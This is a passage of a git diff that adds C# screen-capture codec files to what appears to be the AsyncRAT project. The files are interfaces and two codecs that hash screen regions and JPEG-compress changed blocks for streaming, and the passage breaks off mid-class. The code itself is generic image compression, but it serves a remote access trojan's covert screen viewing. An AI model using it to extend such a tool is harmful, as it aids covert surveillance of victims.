AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs
Normal file
46
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public abstract class IUnsafeCodec
|
||||||
|
{
|
||||||
|
protected JpgCompression jpgCompression;
|
||||||
|
protected LzwCompression lzwCompression;
|
||||||
|
public abstract ulong CachedSize { get; internal set; }
|
||||||
|
protected object ImageProcessLock { get; private set; }
|
||||||
|
|
||||||
|
private int _imageQuality;
|
||||||
|
public int ImageQuality
|
||||||
|
{
|
||||||
|
get { return _imageQuality; }
|
||||||
|
set
|
||||||
|
{
|
||||||
|
_imageQuality = value;
|
||||||
|
jpgCompression = new JpgCompression(value);
|
||||||
|
lzwCompression = new LzwCompression(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public IUnsafeCodec(int ImageQuality = 100)
|
||||||
|
{
|
||||||
|
this.ImageQuality = ImageQuality;
|
||||||
|
this.ImageProcessLock = new object();
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract int BufferCount { get; }
|
||||||
|
public abstract CodecOption CodecOptions { get; }
|
||||||
|
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
35
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs
Normal file
35
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public abstract class IVideoCodec
|
||||||
|
{
|
||||||
|
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||||
|
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||||
|
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||||
|
|
||||||
|
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
protected JpgCompression jpgCompression;
|
||||||
|
public abstract ulong CachedSize { get; internal set; }
|
||||||
|
public int ImageQuality { get; set; }
|
||||||
|
|
||||||
|
public IVideoCodec(int ImageQuality = 100)
|
||||||
|
{
|
||||||
|
this.jpgCompression = new JpgCompression(ImageQuality);
|
||||||
|
this.ImageQuality = ImageQuality;
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract int BufferCount { get; }
|
||||||
|
public abstract CodecOption CodecOptions { get; }
|
||||||
|
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||||
|
public abstract Bitmap DecodeData(Stream inStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,324 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeCacheCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
private const int BlockCount = 5;
|
||||||
|
private const int HashBlockCount = 8192;
|
||||||
|
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
internal set { }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private MurmurHash2Unsafe hasher;
|
||||||
|
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
|
||||||
|
private Rectangle[] Offsets;
|
||||||
|
private BlockInfo[] EncodeHashBlocks;
|
||||||
|
private BlockInfo[] DecodeHashBlocks;
|
||||||
|
|
||||||
|
public ulong EncodedFrames { get; private set; }
|
||||||
|
public ulong DecodedFrames { get; private set; }
|
||||||
|
|
||||||
|
public UnsafeCacheCodec(int ImageQuality = 80)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.hasher = new MurmurHash2Unsafe();
|
||||||
|
this.Offsets = new Rectangle[BlockCount];
|
||||||
|
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||||
|
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||||
|
for (int i = 0; i < HashBlockCount; i++)
|
||||||
|
{
|
||||||
|
EncodeHashBlocks[i] = new BlockInfo();
|
||||||
|
DecodeHashBlocks[i] = new BlockInfo();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
if (ImageSize.Width == 0 || ImageSize.Height == 0)
|
||||||
|
throw new ArgumentException("The width and height must be 1 or higher");
|
||||||
|
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
|
||||||
|
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
|
||||||
|
|
||||||
|
int PixelSize = 0;
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
int Stride = ImageSize.Width * PixelSize;
|
||||||
|
int RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodedFrames == 0)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
|
||||||
|
double size = (double)ImageSize.Width / (double)BlockCount;
|
||||||
|
|
||||||
|
//fix floating point here
|
||||||
|
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
|
||||||
|
{
|
||||||
|
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
|
||||||
|
for (int y = 0; y < ImageSize.Height; y++)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < Offsets.Length; i++)
|
||||||
|
{
|
||||||
|
if (!EncodeBuffer.ContainsKey(y))
|
||||||
|
EncodeBuffer.Add(y, new SortedList<int, uint>());
|
||||||
|
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
|
||||||
|
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EncodedFrames++;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<HashBlock> ImageOffsets = new List<HashBlock>();
|
||||||
|
List<uint> ImageHashes = new List<uint>();
|
||||||
|
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
for (int i = 0; i < Offsets.Length; i++)
|
||||||
|
{
|
||||||
|
for (int y = 0; y < ImageSize.Height; y++)
|
||||||
|
{
|
||||||
|
Rectangle ScanRect = Offsets[i];
|
||||||
|
ScanRect.Y = y;
|
||||||
|
|
||||||
|
int offset = (y * Stride) + (ScanRect.X * PixelSize);
|
||||||
|
|
||||||
|
if (offset+Stride > Stride * ImageSize.Height)
|
||||||
|
break;
|
||||||
|
|
||||||
|
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
|
||||||
|
uint BlockOffset = Hash % HashBlockCount;
|
||||||
|
|
||||||
|
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
|
||||||
|
|
||||||
|
if (EncodeBuffer[y][ScanRect.X] != Hash)
|
||||||
|
{
|
||||||
|
if (!blockInfo.Hashes.ContainsKey(Hash))
|
||||||
|
{
|
||||||
|
int index = ImageOffsets.Count - 1;
|
||||||
|
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
|
||||||
|
{
|
||||||
|
Rectangle rect = ImageOffsets[index].Location;
|
||||||
|
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||||
|
}
|
||||||
|
|
||||||
|
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||||
|
ImageHashes.Add(Hash);
|
||||||
|
}
|
||||||
|
EncodeBuffer[y][ScanRect.X] = Hash;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ImageOffsets.Count > 0)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < Offsets.Length; i++)
|
||||||
|
{
|
||||||
|
Rectangle TargetOffset = Offsets[i];
|
||||||
|
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
|
||||||
|
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
int blockStride = PixelSize * TargetOffset.Width;
|
||||||
|
List<HashBlock> UsedOffsets = new List<HashBlock>();
|
||||||
|
|
||||||
|
for (int j = 0; j < ImageOffsets.Count; j++)
|
||||||
|
{
|
||||||
|
Rectangle rect = ImageOffsets[j].Location;
|
||||||
|
|
||||||
|
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
|
||||||
|
continue; //error in 1440p, did not tested futher
|
||||||
|
|
||||||
|
for (int o = 0, offset = 0; o < rect.Height; o++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
UsedOffsets.Add(ImageOffsets[j]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
|
||||||
|
if (UsedOffsets.Count > 0)
|
||||||
|
{
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
|
||||||
|
for (int j = 0; j < UsedOffsets.Count; j++)
|
||||||
|
{
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
|
||||||
|
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
|
||||||
|
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
|
||||||
|
}
|
||||||
|
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
|
||||||
|
outStream.Write(CompressedImg, 0, CompressedImg.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EncodedFrames++;
|
||||||
|
}
|
||||||
|
|
||||||
|
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
|
||||||
|
{
|
||||||
|
int height = 0;
|
||||||
|
for (int i = 0; i < ImageOffsets.Count; i++)
|
||||||
|
{
|
||||||
|
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
|
||||||
|
height += ImageOffsets[i].Location.Height;
|
||||||
|
}
|
||||||
|
return height;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
//return decodedBitmap;
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private class BlockInfo
|
||||||
|
{
|
||||||
|
public SortedList<uint, HashBlock> Hashes { get; private set; }
|
||||||
|
public BlockInfo()
|
||||||
|
{
|
||||||
|
Hashes = new SortedList<uint, HashBlock>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
private class HashBlock
|
||||||
|
{
|
||||||
|
public bool Cached { get; set; }
|
||||||
|
public uint Hash { get; set; }
|
||||||
|
public Rectangle Location { get; set; }
|
||||||
|
|
||||||
|
public HashBlock(uint Hash, bool Cached, Rectangle Location)
|
||||||
|
{
|
||||||
|
this.Hash = Hash;
|
||||||
|
this.Cached = Cached;
|
||||||
|
this.Location = Location;
|
||||||
|
}
|
||||||
|
public HashBlock()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
private class ImageOffset
|
||||||
|
{
|
||||||
|
public Rectangle Location { get; set; }
|
||||||
|
public List<uint> Hashes { get; set; }
|
||||||
|
|
||||||
|
public ImageOffset()
|
||||||
|
{
|
||||||
|
this.Hashes = new List<uint>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,308 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeCachedStreamCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.HasBuffers; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private static Size CheckBlock = new Size(50, 50);
|
||||||
|
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
|
||||||
|
private List<Frame> Frames = new List<Frame>();
|
||||||
|
public const int MAX_FRAMES = 120;
|
||||||
|
|
||||||
|
private ulong[] DecodeBuffer;
|
||||||
|
private Bitmap DecodedBitmap;
|
||||||
|
private List<Bitmap> DecodedFrames = new List<Bitmap>();
|
||||||
|
|
||||||
|
public UnsafeCachedStreamCodec(int ImageQuality)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
|
||||||
|
|
||||||
|
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
|
||||||
|
int RawSizeUsed = 0;
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
List<Rectangle> ChangedBlocks = new List<Rectangle>();
|
||||||
|
|
||||||
|
for(int y = ScanArea.Y; y < ScanArea.Height; )
|
||||||
|
{
|
||||||
|
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
|
||||||
|
for (int x = ScanArea.X; x < ScanArea.Width; )
|
||||||
|
{
|
||||||
|
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
|
||||||
|
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
|
||||||
|
decimal FinalHash = 0;
|
||||||
|
|
||||||
|
for (int h = 0; h < height; h++)
|
||||||
|
{
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
|
||||||
|
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(new Rectangle(x, y, width, height));
|
||||||
|
|
||||||
|
bool FoundBlock = false;
|
||||||
|
decimal FoundHash = 0;
|
||||||
|
int FrameIndex = 0;
|
||||||
|
for (int i = 0; i < Frames.Count; i++)
|
||||||
|
{
|
||||||
|
decimal hash = Frames[i].GetHashBlock(x, y);
|
||||||
|
if (hash == FinalHash)
|
||||||
|
{
|
||||||
|
FrameIndex = i;
|
||||||
|
FoundBlock = true;
|
||||||
|
FoundHash = hash;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
frame.AddHashBlock(x, y, FinalHash);
|
||||||
|
|
||||||
|
if (!FoundBlock)
|
||||||
|
{
|
||||||
|
int index = ChangedBlocks.Count - 1;
|
||||||
|
Rectangle cBlock = new Rectangle(x, y, width, height);
|
||||||
|
|
||||||
|
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = ChangedBlocks[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
ChangedBlocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
Rectangle rect = ChangedBlocks[index];
|
||||||
|
int newHeight = cBlock.Height + rect.Height;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
|
||||||
|
ChangedBlocks[index] = cBlock;
|
||||||
|
}*/
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ChangedBlocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
RawSizeUsed += BlockStride * height;
|
||||||
|
}
|
||||||
|
x += width;
|
||||||
|
}
|
||||||
|
y += height;
|
||||||
|
}
|
||||||
|
|
||||||
|
//write all the blocks
|
||||||
|
for (int i = 0; i < ChangedBlocks.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = ChangedBlocks[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
ChangedBlocks.Clear();
|
||||||
|
|
||||||
|
Frames.Add(frame);
|
||||||
|
if (Frames.Count > MAX_FRAMES)
|
||||||
|
Frames.RemoveAt(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (DecodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
DecodedFrames.Add(DecodedBitmap);
|
||||||
|
return DecodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(DecodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return DecodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
return new Bitmap(10, 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
private class HashedBlock
|
||||||
|
{
|
||||||
|
public int X { get; private set; }
|
||||||
|
public int Y { get; private set; }
|
||||||
|
public int Width { get; private set; }
|
||||||
|
public int Height { get; private set; }
|
||||||
|
public int FrameIndex { get; private set; }
|
||||||
|
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
|
||||||
|
{
|
||||||
|
this.X = x;
|
||||||
|
this.Y = y;
|
||||||
|
this.Width = width;
|
||||||
|
this.Height = height;
|
||||||
|
this.FrameIndex = FrameIndex;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override string ToString()
|
||||||
|
{
|
||||||
|
